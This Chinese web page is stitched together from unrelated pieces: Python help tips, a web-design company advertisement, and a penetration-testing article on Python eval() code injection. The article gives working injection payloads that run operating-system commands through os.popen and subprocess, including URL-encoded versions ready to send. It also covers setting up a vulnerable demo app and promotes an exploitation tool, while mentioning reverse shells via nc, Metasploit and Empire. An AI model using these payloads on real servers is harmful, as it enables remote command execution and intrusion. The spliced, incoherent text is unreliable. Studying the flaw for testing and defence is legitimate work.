最簡單的就是直接到python官網(wǎng)查看文檔了
公司主營業(yè)務:成都做網(wǎng)站、成都網(wǎng)站設(shè)計、移動網(wǎng)站開發(fā)等業(yè)務。幫助企業(yè)客戶真正實現(xiàn)互聯(lián)網(wǎng)宣傳,提高企業(yè)的競爭能力。創(chuàng)新互聯(lián)是一支青春激揚、勤奮敬業(yè)、活力青春激揚、勤奮敬業(yè)、活力澎湃、和諧高效的團隊。公司秉承以“開放、自由、嚴謹、自律”為核心的企業(yè)文化,感謝他們對我們的高要求,感謝他們從不同領(lǐng)域給我們帶來的挑戰(zhàn),讓我們激情的團隊有機會用頭腦與智慧不斷的給客戶帶來驚喜。創(chuàng)新互聯(lián)推出城北免費做網(wǎng)站回饋大家。
python2:
python3:
如果再離線的情況下使用help函數(shù)也可以:
import?re
help(re)
如果解決了您的問題請采納!
如果未解決請繼續(xù)追問
python 所有版本的源代碼可以在這里下載到:
python沒有像matlab那樣的函數(shù)可以直接查看某個函數(shù)的源代碼,只有去下載整個源代碼查看了,不過找起來應該也不難,另外你也可以寫一個小程序來查看對應函數(shù)的源代碼。
Python的函數(shù)調(diào)用方式是通過import來調(diào)用的對應的py文件。
庫函數(shù)有內(nèi)建函數(shù)build_in(會寫python的時候已經(jīng)可以不用看了,不會寫的時候看也看不懂),和通過pip直接下載或者github上下載再安裝的函數(shù)。本質(zhì)上都是py文件。后者有時候由于環(huán)境的不同需要自行修改(這種情況較少),一般在安裝路徑下"\Lib\site-packages"文件夾中存在。
學習庫函數(shù)最好的方法是看網(wǎng)上官方的幫助文檔,此外還可以通過python自帶的dir()方法查看所有的屬性和方法,或者用help()方法查看幫助文檔(部分別人造的輪子不一定有)。
另外推薦使用ipython,Python創(chuàng)始人之一的成員編寫的交互式系統(tǒng)。
如果你的Web應用中存在Python代碼注入漏洞的話,攻擊者就可以利用你的Web應用來向你后臺服務器的Python解析器發(fā)送惡意Python代碼了。這也就意味著,如果你可以在目標服務器中執(zhí)行Python代碼的話,你就可以通過調(diào)用服務器的操作系統(tǒng)的指令來實施攻擊了。通過運行操作系統(tǒng)命令,你不僅可以對那些可以訪問到的文件進行讀寫操作,甚至還可以啟動一個遠程的交互式Shell(例如nc、Metasploit和Empire)。
為了復現(xiàn)這個漏洞,我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網(wǎng)上查找一些關(guān)于這個漏洞具體應用方法的信息,但是并沒有找到太多有價值的內(nèi)容。在同事Charlie Worrell(@decidedlygray)的幫助下,我們成功地通過Burp POC實現(xiàn)了一個非交互式的shell,這也是我們這篇文章所要描述的內(nèi)容。
因為除了Python之外,還有很多其他的語言(例如Perl和Ruby)也有可能出現(xiàn)代碼注入問題,因此Python代碼注入屬于服務器端代碼注入的一種。實際上,如果各位同學和我一樣是一名CWE的關(guān)注者,那么下面這兩個CWE也許可以給你提供一些有價值的參考內(nèi)容:
1. CWE-94:代碼生成控制不當(‘代碼注入’)2. CWE-95:動態(tài)代碼評估指令處理不當(‘Eval注入’)漏洞利用
假設(shè)你現(xiàn)在使用Burp或者其他工具發(fā)現(xiàn)了一個Python注入漏洞,而此時的漏洞利用Payload又如下所示:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面這個Payload來在目標主機中實現(xiàn)操作系統(tǒng)指令注入了:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實際上,你甚至都不需要使用for循環(huán),直接使用全局函數(shù)“__import__”就可以了。具體代碼如下所示:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實我們的Payload代碼還可以更加簡潔,既然我們已經(jīng)將import和popen寫在了一個表達式里面了,那么在大多數(shù)情況下,你甚至都不需要使用compile了。具體代碼如下所示:
__import__('os').popen('COMMAND').read()
為了將這個Payload發(fā)送給目標Web應用,你需要對其中的某些字符進行URL編碼。為了節(jié)省大家的時間,我們在這里已經(jīng)將上面所列出的Payload代碼編碼完成了,具體如下所示:
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來,我們將會給大家介紹關(guān)于這個漏洞的細節(jié)內(nèi)容,并跟大家分享一個包含這個漏洞的Web應用。在文章的結(jié)尾,我將會給大家演示一款工具,這款工具是我和我的同事Charlie共同編寫的,它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之,這款工具就像sqlmap一樣,可以讓你快速找到SQL注入漏洞,不過這款工具仍在起步階段,感興趣的同學可以在項目的GitHub主頁[傳送門]中與我交流一下。
搭建一個包含漏洞的服務器
為了更好地給各位同學進行演示,我專門創(chuàng)建了一個包含漏洞的Web應用。如果你想要自己動手嘗試利用這個漏洞的話,你可以點擊這里獲取這份Web應用。接下來,我們要配置的就是Web應用的運行環(huán)境,即通過pip或者easy_install來安裝web.py。它可以作為一臺獨立的服務器運行,或者你也可以將它加載至包含mod_wsgi模塊的Apache服務器中。相關(guān)操作指令如下所示:
git clone VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
當你在網(wǎng)上搜索關(guān)于python的eval()函數(shù)時,幾乎沒有文章會提醒你這個函數(shù)是非常不安全的,而eval()函數(shù)就是導致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況,說明你的Web應用中存在這個漏洞:
1. Web應用接受用戶輸入(例如GET/POST參數(shù),cookie值);2. Web應用使用了一種不安全的方法來將用戶的輸入數(shù)據(jù)傳遞給eval()函數(shù)(沒有經(jīng)過安全審查,或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼:
\
大家可以看到,eval()函數(shù)是上述代碼中唯一一個存在問題的地方。除此之外,如果開發(fā)人員直接對用戶的輸入數(shù)據(jù)(序列化數(shù)據(jù))進行拆封的話,那么Web應用中也將會出現(xiàn)這個漏洞。
不過需要注意的是,除了eval()函數(shù)之外,Python的exec()函數(shù)也有可能讓你的Web應用中出現(xiàn)這個漏洞。而且據(jù)我所示,現(xiàn)在很多開發(fā)人員都會在Web應用中不規(guī)范地使用exec()函數(shù),所以這個問題肯定會存在。
自動掃描漏洞
為了告訴大家如何利用漏洞來實施攻擊,我通常會使用掃描器來發(fā)現(xiàn)一些我此前沒有見過的東西。找到之后,我再想辦法將毫無新意的PoC開發(fā)成一個有意義的exploit。不過我想提醒大家的是,不要過度依賴掃描工具,因為還很多東西是掃描工具也找不到的。
這個漏洞也不例外,如果你在某個Web應用中發(fā)現(xiàn)了這個漏洞,那么你肯定使用了某款自動化的掃描工具,比如說Burp Suite Pro。目前為止,如果不使用類似Burp Suite Pro這樣的專業(yè)掃描工具,你幾乎是無法發(fā)現(xiàn)這個漏洞的。
當你搭建好測試環(huán)境之后,啟動并運行包含漏洞的示例應用。接下來,使用Burp Suite Pro來對其進行掃描。掃描結(jié)果如下圖所示:
\
下圖顯示的是Burp在掃描這個漏洞時所使用的Payload:
\
我們可以看到,Burp之所以要將這個Web應用標記為“Vulnerable”(包含漏洞的),是因為當它將這個Payload發(fā)送給目標Web應用之后,服務器的Python解析器休眠了20秒,響應信息在20秒之后才成功返回。但我要提醒大家的是,這種基于時間的漏洞檢查機制通常會存在一定的誤報。
將PoC升級成漏洞利用代碼
使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來,為了執(zhí)行操作系統(tǒng)指令并接收相應的輸出數(shù)據(jù),我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數(shù)。當然了,應該還有很多其他的函數(shù)同樣可以實現(xiàn)我們的目標。
因為eval()函數(shù)只能對表達式進行處理,因此Burp Suite Pro的Payload在這里使用了compile()函數(shù),這是一種非常聰明的做法。當然了,我們也可以使用其他的方法來實現(xiàn),例如使用全局函數(shù)“__import__”。關(guān)于這部分內(nèi)容請查閱參考資料:[參考資料1][參考資料2]
下面這個Payload應該可以適用于絕大多數(shù)的場景:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要執(zhí)行一個或多個語句,那么你就需要使用eval()或者compile()函數(shù)了。實現(xiàn)代碼如下所示:
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測試過程中,有時全局函數(shù)“__import__”會不起作用。在這種情況下,我們就要使用for循環(huán)了。相關(guān)代碼如下所示:
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數(shù)是一個GET參數(shù),那么你就可以直接在瀏覽器中利用這個漏洞了:
\
請注意:雖然瀏覽器會幫你完成絕大部分的URL編碼工作,但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外,你也可以直接使用我們所開發(fā)的工具。
如果是POST參數(shù)的話,我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示,我在subprocess.check_output()函數(shù)中一次性調(diào)用了多個系統(tǒng)命令,即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼,我們也提供了相應的工具使用指南。在你使用這款工具的過程中會感覺到,它跟sqlmap一樣使用起來非常的簡單。除此之外,它的使用方法跟sqlmap基本相同。
我們經(jīng)常會用到python的內(nèi)置函數(shù),但python庫中的內(nèi)置函數(shù)何其之多,有時候難免會忘了這個函數(shù)的功能。這時候我們可以在
pycharm中把鼠標定位到這個函數(shù),然后用快捷鍵Ctrl+B去查看:
更多技術(shù)請關(guān)注Python視頻教程。